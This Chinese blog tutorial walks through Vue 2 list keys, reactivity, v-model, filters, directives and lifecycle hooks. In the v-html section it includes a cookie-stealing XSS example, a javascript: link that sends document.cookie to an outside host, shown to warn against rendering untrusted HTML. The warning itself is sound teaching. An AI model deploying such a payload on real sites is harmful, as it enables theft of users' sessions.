        <li v-for="(num,index) in 10" :key="index">第{{num}}次,第{{index}}个索引</li>
    </ul>
</div>
<script type="text/javascript">
    let vm = new Vue({
        el: '#root',
        data: {
            person: {
                id: 1,
                name: '张三',
                age: 18,
                score: 100
            }
        }
    })
</script>

img


:key的作用与原理

<div id="root">
    <button @click="persons.unshift({id: 4, name: '赵六'})">添加一个新用户</button>
    <ul>
        <li v-for="(item,index) in persons" :key="index">姓名: {{item.name}} <input type="text"></li>
    </ul>
</div>
<script type="text/javascript">
    let vm = new Vue({
        el: '#root',
        data: {
            persons: [
                {
                    id: 1,
                    name: '张三'
                },
                {
                    id: 2,
                    name: '李四'
                },
                {
                    id: 3,
                    name: '王五'
                }
            ]
        }
    })
</script>

当数据列表中以索引作为key的值时,在数组向前追加第一个元素时会导致数据错乱
img

v-for导致数据错乱原因有两个

1.vue虚拟dom的diff过程

vue解析模板把标签以及标签内容渲染成虚拟dom,由于原始input中没有指定value,因此vue中虚拟dom中input都为<input type="text">
1.vue虚拟dom中以key属性作为dom的唯一标识:

<li key=0>姓名: 张三 <input type="text"></li>
<li key=1>姓名: 李四 <input type="text"></li>
<li key=2>姓名: 王五 <input type="text"></li>

2.在数组向前追加第一个元素时,vue重新解析模板,生成新的虚拟dom,如下:

<li key=0>姓名: 赵六 <input type="text"></li>
<li key=1>姓名: 张三 <input type="text"></li>
<li key=2>姓名: 李四 <input type="text"></li>
<li key=3>姓名: 王五 <input type="text"></li>

3.dom的diff对比:
key=0旧dom: <li key=0>姓名: 张三 <input type="text"></li>
key=0新dom: <li key=0>姓名: 赵六 <input type="text"></li>
对比使用原则: 元素中文本节点内容和元素,分别和旧文本节点和旧元素对比,相同使用旧的,否则使用新的
因此key=0的最终渲染结果是: <li key=0>新dom的文本节点 旧dom的<input type="text"></li>
导致了旧的input放到了新dom中
img

以上就是以index作为key导致数据错乱的原因之一

2.v-for中vue默认以index作为key

<ul>
    <li v-for="(item,index) in persons">姓名: {{item.name}} <input type="text"></li>
</ul>

在使用v-for时不指定key值时,vue会默认使用索引作为key值
img

总结

1.虚拟dom以key作为唯一标识,vue实例中数据发生变化时,会进行新的虚拟dom和旧的虚拟dom进行对比,而后生成新的真是dom

2.diff规则:

(1)相同key的新旧dom中文本节点内容或者元素相同时,使用旧dom,否则使用新dom
(2)新key的dom会直接创建新的真实dom

3.在使用v-for遍历元素时,vue默认以index作为key值

4.不使用key或以index作为key时产生的问题

(1)改变原有数组元素的顺序(如,对数据进行逆添加、逆删除),会导致数据错乱
(2)由于虚拟dom的key值改变,导致vue会把所有dom重新生成并更新真实的dom,性能较低,如下
旧:<li key=1>姓名: 李四></li>
新:<li key=1>姓名: 张三></li>

5.因此在使用v-for时,无论key值在业务中是否使用,一定要指定key值,且key值不能是index,应该以业务数据唯一值作为key值

旧: <li key='001'>姓名: 张三></li>
新: <li key='004'>姓名: 赵六></li>
由于新的key='004'是一个全新的虚拟dom,vue会生成真实的dom
而新虚拟dom中,key='001'、key='002'、key='003'的dom内容和旧dom一致,vue不会再次生成dom,而是直接使用旧dom解析模板,提高了模板解析性能


列表过滤

优先使用计算属性完成功能

<div id="root">
    <input v-model="keyword" type="text" placeholder="模糊搜索">
    <ul>
        <li v-for="item in newPersons" :key="item.id">姓名: {{item.name}}</li>
    </ul>
</div>
<script type="text/javascript">
    let vm = new Vue({
        el: '#root',
        data: {
            persons: [
                { id: 1, name: '周杰伦' },
                { id: 2, name: '周杰' },
                { id: 3, name: '李连杰' },
                { id: 4, name: '赵四' }
            ],
            keyword: ''
        },
        computed: {
            newPersons() {
                return this.persons.filter(item => item.name.indexOf(this.keyword) !== -1);
            }
        }
    })
</script>

img


列表排序

<button @click="sortType = 1">ID降序</button>
<button @click="sortType = 2">ID降序</button>
computed: {
    newPersons() {
        let resultPersons = this.persons.filter(item => item.name.indexOf(this.keyword) !== -1)
        resultPersons.sort((a, b) => {
            if (this.sortType === 1) {
                return a.id - b.id;
            } else {
                return b.id - a.id;
            }
        });
        return resultPersons;
    }
}

img


vue监视data数据改变的原理

vue监视data中数组数据的一个问题

<div id="root">
    <button @click="persons[0]={ id: 5, name: '周星驰' }">更新数组中第一个对象</button>
    <ul>
        <li v-for="item in persons" :key="item.id">ID: {{item.id}} 姓名: {{item.name}}</li>
    </ul>
</div>
<script type="text/javascript">
    let vm = new Vue({
        el: '#root',
        data: {
            persons: [
                { id: 1, name: '周杰伦' },
                { id: 2, name: '周杰' },
                { id: 3, name: '李连杰' },
                { id: 4, name: '赵四' }
            ]
        }
    })
</script>

当把data对象中数组的某个对象元素指向新地址时,vue实例的中data数据已经更新了,但vue无法监听到数据变化,因此模板不会重新解析
img

vue开发者工具需要重新获取vue实例数据,才能展示出正确的data数据,因此vue无法监听到data中数组对象元素指向新地址的变化,因此开发者工具也不会重新渲染
img


vue监视对象的数据改变的原理

模拟vue观察data中数据变化

// 1.创建vue实例,并配置data数据
let vue = {
    data: {
        name: '张三'
    }
}
// 2.创建一个观察者对象,用于监听vue中data数据的变化 
let objserve = new Observe(vue.data);
// 3.将观察者对象赋值给vue实例的_data属性,并代理vue实例的data属性  
vue._data = vue.data = objserve;
/**
 * 观察函数中,生成一个观察实例对象,该观察实例对象代理vue中data的属性
 */
function Observe(data) {
    for (let key in data) {
        Object.defineProperty(this, key, {
            get() {
                console.log('获取属性值 key:');
                return data[key];
            },
            set(val) {
                console.log('更新了属性值,后续操作: 解析模板,生成虚拟dom,对比虚拟dom,更新真实dom');
                data[key] = val;
            }
        })
    }
}

img

如果data中数据层级较深,vue也会通过递归方式进行代理数据
如下,vue也会监听到friend对象中name的数据变化

data = {
    obj: {
        name: '张三',
        age: 18,
        friend: {
            name: '李四',
            age: 20
        }
    }
}

因此vue监视data数据的变化,是通过代理属性的set方法实现,当执行了属性的set方法时,vue认为该属性改变了

vue对深层次的数据也能监听到

data: {
    student: {
        friends: [
            { name: '张三' },
            { name: '李四' },
            { name: '王五' }
        ]
    }
}

vue也能代理friends数组,以及其中的每个元素的属性friends[0].name属性,因此修改他们可以触发对应的set方法,在set方法中vue重新解析模板
如下图vue没有代理friends[0]数据,只代理了friends[0]对象中的属性
img

从上面梳理过程中,可以看到vue会代理data中以key-value形式的属性,并不会代理数组中的元素,因此修改数组元素时,该元素值确实发生了改变,由于vue中没有代理数组元素的set方法,因此不会触发vue重新解析模板
img


动态添加数据不能响应的问题

如下代码,使用破坏性方法,向数组中添加元素,vue会自动代理元素中的属性
通过this.属性方式添加属性,vue不会代理该属性,因此不会重新解析模板

<div id="root">
    <button @click="addElement">向数组中添加一个元素</button>
    <button @click="addAttribute">向对象中添加属性</button>
    <div>新添加的名字: <span v-if="student.hobby">{{student.hobby}}</span></div>
    <ul>
        <li v-for="item in student.friends">{{item.name}}</li>
    </ul>
</div>
<script type="text/javascript">
    let vm = new Vue({
        el: '#root',
        data: {
            student: {
                friends: [
                    { name: '张三', age: 18 },
                    { name: '李四', age: 19 },
                    { name: '王五', age: 20 }
                ]
            }
        },
        methods: {
            addElement() {
                this.student.friends.push({ name: '赵六', age: 21 })
            },
            addAttribute() {
                this.student.hobby = '赵本山';
            }
        }
    })
</script>

通过this.属性添加的属性不会被vue监听,该属性不是响应式属性,因此修改该属性无效
而通过调用数组的破坏性方法向数组中添加对象类型的元素时,该元素中的属性为响应式数据
img

动态添加响应式的属性

Vue.set()方法

向响应式对象中添加一个 property,并确保这个新 property 同样是响应式的,且触发视图更新
注意对象不能是 Vue 实例,或者 Vue 实例的根数据对象

Vue.set(target, key/index, value)
target:要添加/修改的对象,不能是vue实例,或者vue实例的_data属性
key:要添加/修改的属性名,或数组索引值
value:要添加/修改的属性值

addAttribute() {
    Vue.set(this.student, 'hobby', '唱歌');
}

img

vm实例的$set()方法

vm.$set(target, key, value)

addAttribute() {
    this.$set(this.student, 'hobby', '唱歌');
}

img


注意

Vue.set()vm.$set()都不能在vue实例vue实例的_data属性中添加响应式属性,否则报错

methods: {
    addAttribute() {
        Vue.set(this._data, 'newName', '周杰伦');
    }
}

img

vue监视数组元素改变的原理

vue对数组的破坏性方法进行了包装
push() shift() unshift() pop() splice() sort() reverse()
当程序员调用这些破坏性方法操作数组元素时,本质上调用了vue实例的包装方法,触发了vue的模板解析

data: {
    student: {
        friends: [
            { name: '张三', age: 18 },
            { name: '李四', age: 19 },
            { name: '王五', age: 20 }
        ]
    }
},
methods: {
    addElement() {
        this.student.friends.push({ name: '赵六', age: 21 })
    }
}

img
img

通过Vue.set(数组,index,值)的方式也能让vue监听到数组的变化

addElement() {
    this.$set(this.student.friends, 0, { name: '赵六', age: 21 })
}

img


总结

1.vue会监视data中所有层次的数据
2.vue通过属性的set方法监视数据变化
3.通过this向对象中添加属性,不是响应式数据
4.应该通过Vue.set()或vm实例的$set()方法向对象中添加属性,从而实现响应式数据
5.Vue.set或vm.$set不能对vue实例对象或vue实例对象的_data属性添加响应式数据
6.触发数组元素的响应式,应该使用vue包装好的数组破坏性方法,或使用set(数组,index,新值)的方式
7.vue中数据劫持: 通过Object.defineProperty()方法对数据进行劫持
Vue 的数据劫持是实现其响应式系统的核心技术。数据劫持的目的是在访问或修改对象的属性时,拦截这些操作并执行额外的逻辑,从而实现数据和视图的双向绑定。


使用双向绑定收集表单数据

表单数据的收集使用: v-model指令,对标签中value属性值进行双向绑定

<div id="root">
    姓名: <input type="text" v-model="name"><br><br>
    密码: <input type="password" v-model="password"><br><br>
    年龄: <input type="number" v-model.number="age"><br><br>
    性别:
    <input type="radio" name="sex" v-model="sex" value="male">男
    <input type="radio" name="sex" v-model="sex" value="female">女<br><br>
    爱好:
    <input type="checkbox" v-model="hobby" value="study">学习
    <input type="checkbox" v-model="hobby" value="game">游戏
    <input type="checkbox" v-model="hobby" value="eat">吃饭<br><br>
    地址:
    <select v-model="city">
        <option value="beijing">北京</option>
        <option value="shanghai">上海</option>
        <option value="guangzhou">广州</option>
    </select><br><br>
    其他信息:
    <textarea v-model.lazy.trim="other"></textarea><br><br>
    同意条款:
    <input type="checkbox" v-model="agree"><a>《条款》</a><br><br>
    <button>提交</button>
</div>
<script type="text/javascript">
    new Vue({
        el: '#root',
        data: {
            name: '',
            password: '',
            age: 18,
            sex: '',
            hobby: [],
            city: '',
            other: '',
            agree: false
        }
    })
</script>

img

各种类型表单的v-model绑定数据方式

普通输入框<input>

v-model收集的是value值

单选框<input type="radio" value="值">

单选框必须指定value属性值,v-model才能收集到value值

复选框<input type="checkbox" v-model="变量名">

input标签中没有value属性时,绑定的属性不是数组时,v-model收集的是checked属性,true或false
img

input标签中有value属性时,绑定的属性是数组时,v-model收集的是复选框value值作为数组元素
img

下拉选择<select>

v-model收集的是value值

文本框<textarea></textarea>

v-model收集的是value值


v-model修饰符

lazy修饰符

默认情况下,v-model双向绑定是实时监听输入框的值,当输入框的值发生变化时,绑定的变量也会实时变化
使用lazy修饰符后,v-model双向绑定会失去实时监听,当输入框失去焦点时,绑定的变量才会变化

<input type="text" v-model.lazy="other">

img

trim修饰符

去除value的前后空格

<input type="text" v-model.trim="other">

img

number修饰符

年龄: <input type="text" v-model.number="age"><br><br>
如果空格后第一个字符为数字时,v-model会消除前面的空格,并只保留数字,否则收集原始value为字符串
数字中间存在其他字符则会舍弃后面的内容
img


链式使用修饰符

其他信息:
<textarea v-model.lazy.trim.number="other"></textarea><br><br>

img


过滤器

Vue.js 允许你自定义过滤器,可被用于一些常见的文本格式化。过滤器可以用在两个地方:双花括号插值和 v-bind 表达式 (后者从 2.1.0+ 开始支持)。过滤器应该被添加在 JavaScript 表达式的尾部,由“管道”符号指示
语法: 变量 | 过滤器名 含义: 将变量作为参数传入过滤器进行加工处理,并返回处理后的结果
插值语法: {{变量 | 过滤器名}}
绑定指令语法: v-bind:id="变量 | 过滤器名"

无自定义参数使用过滤器

过滤器始终会把前面的变量作为参数

<head>
    <script type="text/javascript" src="../js/dayjs.min.js"></script>
</head>
<div id="root">
    今天的日期是: {{date | dateFormat}}
    <br>
    今天的日期是: <input type="text" :value="currentDate | dateFormat">
</div>
<script type="text/javascript">
    new Vue({
        el: '#root',
        data: {
            currentDate: 1749202679233,
            date: 1749202679233
        },
        filters: {
            dateFormat(value) {
                return dayjs(value).format('YYYY-MM-DD HH:mm:ss');
            }
        }
    })
</script>

img

传入参数使用过滤器

语法: 变量名 | 过滤器名(自定义参数)
含义: 过滤始终把前面的变量作为第一个参数,后面的自定义参数作为第二个参数,依次类推

<div id="root">
    今天的日期是: {{date | dateFormat}}
    <br>
    今天的日期是: <input type="text" :value="currentDate | dateFormat('YYYY年MM月DD日 HH:mm:ss')">
</div>
<script type="text/javascript">
    new Vue({
        el: '#root',
        data: {
            currentDate: 1749202679233,
            date: 1749202679233
        },
        filters: {
            dateFormat(value, format='YYYY-MM-DD HH:mm:ss') {
                return dayjs(value).format(format);
            }
        }
    })
</script>

img


过滤器串联

语法: value | filterA | filterB | filterC
含义: filterA的返回值作为filterB的参数,依次类推

<div id="root">
    今天的日期是: {{date | dateFormat | newFilter}}
</div>
filters: {
    dateFormat(value, format = 'YYYY-MM-DD HH:mm:ss') {
        return dayjs(value).format(format);
    },
    newFilter(value) {
        return value + "  newFilter"

    }
}

img

全局过滤器

语法: Vue.filter('过滤器名', function(value, 自定义参数1, 自定义参数2, ...){})
含义: 全局过滤器在所有Vue实例中都可以使用

<div id="root">
    今天的日期是: {{date | dateFormat | globalFilter}}
</div>
<script type="text/javascript">
    Vue.filter('globalFilter', function (value) {
        return value + ' 全局过滤器';
    })
    new Vue({
        el: '#root',
        data: {
            currentDate: 1749202679233,
            date: 1749202679233
        },
        filters: {
            dateFormat(value, format = 'YYYY-MM-DD HH:mm:ss') {
                return dayjs(value).format(format);
            }
        }
    });
</script>

img

注意

1.全局过滤器的加载,一定在vue实例创建之前,即new Vue()之前,否则,全局过滤器将无效
2.局部过滤器和全局过滤器有相同名称时,局部过滤器优先级大于全局过滤器
3.过滤器只能用于插值语法,和v-bind指令的绑定值上,不能其他指令


内置指令

v-text修改元素内容为文本

<div>{{text}}</div>
<div v-text="text"></div>

img

v-text指令和{{}}插值区别

{{}}: 类似占位符,可以和其他文本一起使用 <div>你好,我叫{{}}</div>
v-text: 类似innerText,会覆盖元素中的所有内容,并不会解析标签

<div>{{text}}</div>
<div v-text="text"><div>1231</div></div>

img


v-html修改元素内容为html/文本

向指定元素内插入html代码,能都覆盖元素内所有内容

<div id="root">
    <div v-html="html">
        <div>1231</div>
    </div>
</div>
<script type="text/javascript">
    new Vue({
        el: '#root',
        data: {
            html: '<a href=javascript:location.href="https://www.baidu.com?"+document.cookie>这里有免费会员</a>'
        }
    })
</script>

解析html:
img
存在XSS攻击风险,如下图,当前页面包含重要的cookie信息,通过注入脚本,攻击者可以获取cookie信息,进行用户信息窃取
img

注意

1.v-html指令能解析html代码,完全覆盖元素内容
2.会存在XSS攻击,盗取用户cookie和注入病毒风险,因此一定要在可信的内容上使用v-html,永远不要在用户输入的地方使用v-html,如评论区等


v-cloak隐藏未解析的模板内容

作用: 当vue实例解析模板后,自动移除v-cloak指令,配合属性选择器设置display:none,隐藏未解析的样式

模拟加载vue解析模板延迟导致页面未渲染情况
使vue实例3秒后创建,就会存在页面出现未解析的样式如,{{name}}

<div id="root">
    <div>{{name}}</div>
</div>
<script type="text/javascript">
    setTimeout(() => {
        new Vue({
            el: '#root',
            data: {
                name: '张三'
            }
        })
    }, 3000);
</script>

img

使用v-cloak指令,并配合[v-cloak]属性选择器设置display:none,隐藏未解析的样式,当vue实例初始化后解析模板成功后,再自动删除v-cloak指令,使display属性失效,显示内容

<style>
    [v-cloak] {
        display: none;
    }
</style>
<div id="root">
    <div v-cloak>{{name}}</div>
</div>
<script type="text/javascript">
    setTimeout(() => {
        new Vue({
            el: '#root',
            data: {
                name: '张三'
            }
        })
    }, 3000);
</script>

img


v-once使元素只渲染一次

作用: 使用v-once属性的元素其内容中的响应数据只渲染一次,以后元素中使用到的响应数据的改变不会引起v-once元素的更新

<div id="root">
    <div>当前n的值: {{n}}</div>
    <div v-once>{{n}}</div>
    <button @click="++n">n+1</button>
</div>
<script type="text/javascript">
    new Vue({
        el: '#root',
        data: {
            n: 1
        }
    })
</script>

img


v-pre跳过元素和子元素的编译过程

作用: 使用v-pre属性的元素以及其子元素将不会进行编译,直接显示原始内容

<div id="root">
    <div v-pre>当前n的值: {{n}}</div>
    <div v-pre v-once>{{n}}
        <div>{{n}}</div>
    </div>
    <button v-pre @click="++n">n+1</button>
</div>
<script type="text/javascript">
    new Vue({
        el: '#root',
        data: {
            n: 1
        }
    })
</script>

具有v-pre指令的元素,vue直接跳过元素以及其子元素的模板解析,并把原始代码作为dom,提高页面渲染效率
img

使用场景:
跳过没有使用指令语法和插值语法的元素,会加速vue实例的编译模板速度


directives对象自定义指令

1.定义自定义指令以及处理逻辑

directives:{
    自定义指令名(elemnt, binding){
        // 自定义指令逻辑
    }
}

element: DOM元素对象
binding: 当前元素绑定指令对象,该对象中包含指令名称,指令上表达式,以及表达式结果值
2.在标签中使用·v-自定义指令名

方法形式自定义指令

如下,将n的值加1,并使用big指令逻辑重新覆盖当前元素内容

<div id="root">
    <div v-big="n+1"></div>
    <button @click="n++">点我+1</button>
</div>
<script type="text/javascript">
    new Vue({
        el: '#root',
        data: {
            n: 1
        },
        directives: {
            big(element, binding) {
                console.log(element, binding);
                element.innerText = binding.value * 10
            }
        }
    })
</script>

expression: 指令上表达式
value: 指令上表达式的结果值
rawName: 指令名
img

vue解析指令时,会处理指令对应的逻辑,将元素内容覆盖为文本内容,表达式的值(n + 1)*10作为文本内容
img

自定义指令调用时机

1.指令与元素成功绑定时(初次vue解析元素和指令建立关系)
2.指令所在的模板重新解析时也会调用指令对应的方法
修改任意响应数据,都会重新解析模板,调用指令对应的方法
img


方法形式存在的问题

有如下需求: 点击按钮自动添加一个输入框,并自动获取焦点

使用原生js实现存在的问题

使用js动态添加dom元素,在浏览器未渲染时,再对dom添加某些属性则不会生效
有些特定属性必须在浏览器渲染,而后添加才能生效,如focus属性

<button onclick="input()">添加一个自动获取焦点的输入框</button>
<script type="text/javascript">
    function input() {
        var input = document.createElement('input')
        input.focus();
        document.body.appendChild(input)
    }
</script>

浏览器未渲染页面前,自动获取焦点则失效
img

function input() {
    var input = document.createElement('input')
    document.body.appendChild(input)
    input.focus();
}

浏览器渲染页面后,再添加自动获取焦点则成功
img
img

var input = document.createElement('input')
input.value = '默认值'
document.body.appendChild(input)

再例如,添加input的默认值,在浏览器未渲染前,添加默认值也能成功
img

因此并不是所有的属性必须要在浏览器渲染后添加才能生效,而自动获取焦点必须在浏览器渲染后添加才能生效

使用自定义指令方法形式同样相同问题

<div id="root">
    <button @click="n++">点我+1</button>
    <input v-fbind:value="n+1">
</div>
<script type="text/javascript">
    new Vue({
        el: '#root',
        data: {
            name: '张三',
            n: 1
        },
        directives: {
            fbind(element, binding) {
                element.value = binding.value;
                element.focus();
            }
        }
    })
</script>

如上代码,刷新页面后,input并没有获取焦点,原因如下:

容器id=root交给了vue解析,因此在vue未解析成功前,浏览器不会渲染html代码的,因此不显示input输入框
又因方法指令调取的时机如下
1.指令与元素成功绑定时(初次vue解析元素和指令建立关系)
在vue执行fbind指令时,vue只是将指令和元素建立关系,并没有解析完成,因此在指令中使用element.focus();则失效
2.指令所在的模板重新解析时也会调用指令对应的方法
点击按钮触发了vue重新解析模板,因此再次调用fdind,此时页面中已存在input,因此element.focus();生效
img

自定义指令使用方法形式不能满足页面加载后自动获取输入框的焦点的需求,应该使用对象形式(完整对象形式的指令)才能解决


对象形式自定义指令

对象形式中需要重写3个方法,vue会在不同的时刻调用这三个方法,以满足自定义指定灵活性,三个方法中都有element和binding参数
element: DOM元素对象
binding: 当前元素绑定指令对象,该对象中包含指令名称,指令上表达式,以及表达式结果值

1.bind()

指令与元素成功绑定时(初次vue解析元素和指令建立关系)调用

bind(element, binding){
    // 自定义指令逻辑
}

2.inserted()

指令所在元素插入到页面后会调用该方法,只调用一次

inserted(element, binding){
    // 自定义指令逻辑
}

3.update()

指令所在的模板重新解析时调用该方法

update(element, binding){
    // 自定义指令逻辑
}
<div id="root">
    <button @click="n++">点我+1</button>
    <input v-fbind:value="n+1">
</div>
<script type="text/javascript">
    new Vue({
        el: '#root',
        data: {
            name: '张三',
            n: 1
        },
        directives: {
            fbind: {
                bind(element, binding) {
                    element.value = binding.value
                    console.log('bind', element, binding);
                },
                inserted(element, binding) {
                    console.log('inserted', element, binding);
                    element.focus()
                },
                update(element, binding) {
                    console.log('update', element, binding);
                    element.value = binding.value
                    element.focus()
                }
            }
        }
    })
</script>

img


全局指令

对象形式:

Vue.directive('指令名', {
    bind(element, binding){
        // 自定义指令逻辑
    },
    inserted(element, binding){
        // 自定义指令逻辑
    },
    update(element, binding){
        // 自定义指令逻辑
    }
})

方法形式:

Vue.directive('指令名', function(element, binding){
    // 自定义指令逻辑
})

注意

1.自定义组合单词指令名书写格式

v-bind-number
对应的指令方法:

directives: {
    'bind-number'(){
        ...
    }
}

对应的指令对象:

directives: {
    'bind-number':{}
}

2.所有指令相关回调函数中this都指向window,和是不是箭头函数无关

img


总结

1.对象形式自定义指令包含bind(),inserted(),update()三个方法
bind()调用时机: 指令与元素成功绑定时(初次vue解析元素和指令建立关系)
inserted()调用时机: 指令所在元素插入到页面后会调用该方法,只调用一次
update()调用时机: 指令所在的模板重新解析时调用该方法
2.方法形式自定义指令调用时机只包含了bind()update()两个时机
3.指令定义时不加v-,使用时加v-
4.如果指令是多个单词要使用kebab-case命名方式,如v-bind-number,vue不推荐使用camelCase命名方式,如v-bindNumber
5.局部指令优先级大于全局指令
6.自定义指令中this指向window,和是不是箭头函数无关
this指向window的设计目的:
指令的独立性
指令被设计为纯DOM操作工具,应独立于组件实例
避免副作用
防止指令意外修改组件状态,保证可复用性


vue生命周期

需求: 页面渲染后使元素渐渐透明

使用自定义指令inserted调用时机

可以使用自定义指令,指定元素插入到页面时触发一次inserted方法,并执行逻辑

<div id="root">
    <h2 :style="{opacity}" v-change>vue</h2>
</div>
<script type="text/javascript">
    let vm = new Vue({
        el: '#root',
        data: {
            opacity: 1
        },
        directives: {
            change: {
                inserted() {
                    setInterval(() => {
                        vm.opacity -= 0.1;
                        if (vm.opacity <= 0) {
                            vm.opacity = 1
                        }
                    }, 160)
                }
            }
        },
    })
</script>

img

使用mounted生命周期回调函数

mounted调用时机: vue完成模板解析,并把初始真实dom元素放入页面后(挂载完毕),调用一次

new Vue({
    el: '#root',
    data: {
        opacity: 1
    },
    mounted() {
        setInterval(() => {
            this.opacity -= 0.01
            if (this.opacity <= 0) this.opacity = 1
        }, 16)
    }
})

使用mounted也能实现刷新页面元素渐渐透明效果

自定义指令inserted和mounted区别

new Vue({
    el: '#root',
    data: {},
    directives: {
        change: {
            inserted() {
                console.log('inserted');
            }
        }
    },
    mounted() {
        console.log('mounted');
    }
})

当vue生成了所有真实dom后才会触发mounted
img

inserted中只能通过使用接收了vue实例的变量vm来获取实例中的数据,this指向window
mounted可以直接使用this来获取实例中的数据


生命周期是什么

1.又名: 生命周期函数,生命周期回调函数、生命周期钩子
2.是什么: vue在关键时间节点调用特殊回调函数,如,vue实例创建完毕,挂载完毕,更新完毕,销毁完毕,这些过程,就是生命周期
3.生命周期函数中this,指向vm或者组件实例

生命周期流程图

img

挂载流程

1.new Vue()

创建vue实例对象,此时this就已经指向该实例对象了

2.init events and lifecycle(初始化生命周期和事件)

初始化vue实例的生命周期函数和事件,以及事件修饰符,并不会初始化数据

3.beforeCreate()回调函数

执行时机: 在数据检测、数据代理前执行
特点: 无法通过vm访问到data数据和methods方法,页面仍然展示未解析原始DOM

img
原始DOM:
img

4.init injections and reactivity(初始化数据检测和代理)

此时vue实例中数据已初始化,此时开始数据检测和代理
目的: 检测数据,并代理数据到vm实例中

5.created()回调函数

执行时机: 数据检测和代理后执行
特点: 可以通过vm访问到data数据和methods方法

6.模板解析

特点: 此阶段解析模板,生成虚拟DOM,但没有生成真实的DOM

1.如果有el属性,将对应的元素作为template模板
2.如果没有el属性,当程序调用vm.$mount(el)方法时,也能确定对应的模板
3.template确定后,则开始编译模板,使之成为HTMLElement对象


有无template属性的区别:

无template属性: 根元素也会作为模板解析

<div id="root" :x="x">
    <h1>{{name}}</h1>
    <h1>{{x}}</h1>
</div>
<script type="text/javascript">
    new Vue({
        el: '#root',
        data: {
            name: 'Vue',
            x: 1
        }
    })
</script>

img

有template属性: template中的内容完全替换掉根元素

<div id="root" :x="x">
    你好
</div>
<script type="text/javascript">
    new Vue({
        el: '#root',
        template: `
            <h1>{{name}}</h1>
        `,
        data: {
            name: 'Vue',
            x: 1
        }
    })
</script>

div id="root"元素将会被template中内容替换掉
img

template属性中只能指定一个根元素,不能有多个根元素,否则会报错

template: `
    <h1>{{name}}</h1>
    <h1>{{x}}</h1>
`

img

template: `
<template>
    <h1>{{name}}</h1>
    <h1>{{x}}</h1>
    </template>
`

根元素不能是<template>标签
img


7.Create vm.$el and replace 'el' with it(创建vm.$el并替换el)

特点: 初始化this.$el为解析好的虚拟DOM对象(以便下次和新的虚拟DOM进行对比),将虚拟DOM转为真实的DOM,并替换掉模板
虚拟DOM对象也属于HTMLElement对象

8.beforeMount()回调函数

执行时机: 在第7步过程中,this.$el初始化后,虚拟DOM转为真实DOM之前
特点: 页面仍然呈现未解析的DOM结构。还没有将虚拟DOM生成真实的DOM
在此方法中对真实的DOM进行操作,最终都不会生效,原因是在后续的流程中,vue会把已经生成的虚拟DOM生成真实的DOM

this.$el已经初始化了,但仍然是虚拟DOM,DOM中的模板未被Vue替换,虚拟DOM也属于HEMLElement实例对象
img

9.mounted()回调函数

执行时机: 虚拟DOM转为真实DOM并替换模板之后,this.$el指向真实的DOM元素
img
特点: 页面呈现已经经过Vue编译后的DOM结构,且仅执行一次
至此挂载流程结束
在此方法中对DOM操作均有效(应该避免在此方法中进行DOM操作)
一般进行: 开启定时器,发送网络请求,订阅消息,绑定自定义事件等


更新流程

1.beforeUpdate()回调函数

执行时机: 当数据改变时
特点: 数据是新的,但页面仍然是旧的,页面和数据未同步

2.Virtual DOM re-render and patch(虚拟DOM重新渲染和比较)

数据改变触发解析模板,生成新的虚拟DOM,随后与旧DOM进行比较,最终完成页面更新,即完成了,Model->View更新

3.updated()回调函数

执行时机: 数据改变,页面更新后执行
特点: 数据和页面保持同步

img


销毁流程

1.beforeDestroy()回调函数

执行时机: 当调用vm.$destroy()时执行
特点: vm中所有的data,methods,指令等,都处于可用状态,但数据不可修改,马上要执行了销毁过程
在此阶段可以关闭定时器,取消订阅消息,解绑自定义事件等
销毁前页面呈现仍然不变

注意:

methods: {
    add() {
        console.log('add');
        ++this.x
    },
     destroy() {
        console.log('销毁事件');
        this.$destroy();
    },
    beforeDestroy() {
        console.log('beforeDestroy', "this.$el", this.$el);
        console.log("document.querySelector('#root') === this.$el", document.querySelector('#root') === this.$el);
        this.add();
    }
}

1.在此方法中修改数据则不会生效
调用add方法,数据加1,而在beforeDestroy中触发add方法,虽然调用了但是数据不会改变
img
2.数据收回动作要写该方法中,例如关闭定时器,取消订阅消息,解绑自定义事件等
原因是vue实例的销毁不一定是手动调用vm.$destroy(),也可能是由于组件被移除,因此需要在销毁前将数据回收,防止内存泄漏
如果数据收回逻辑写在手动销毁之前有可能执行不到,导致存在泄露

2.TearDown watchers,child components and event listeners(销毁监听方法,子组件,以及所有组件的事件(包括系统事件))

系统事件也会被销毁
系统点击事件add不会执行
img

所有的子组件vc的自定义事件也会销毁


3.destroyed()回调函数

执行时机: 销毁后执行
特点: vm中所有的data,methods,指令等,都处于不可用状态,但页面呈现仍然不变


总结

常用的生命周期钩子:
1.mounted(): 页面挂载后发送接口请求,启动定时器,绑定自定义事件,消息订阅等
2.beforeDestroy(): 回收资源,消除定时器,解绑事件,取消消息订阅等

销毁vue实例:
1.vm实例销毁后,其关联的子组件关系也会断开
2.一般不会再beforeDestroy()中操作数据,因为即便操作数据,vue认为即将销毁的实例更新数据是无效的,因此无效操作,不会触发更新流程

posted @ 2025-05-27 09:55  ethanx3  阅读(22)  评论(0)    收藏  举报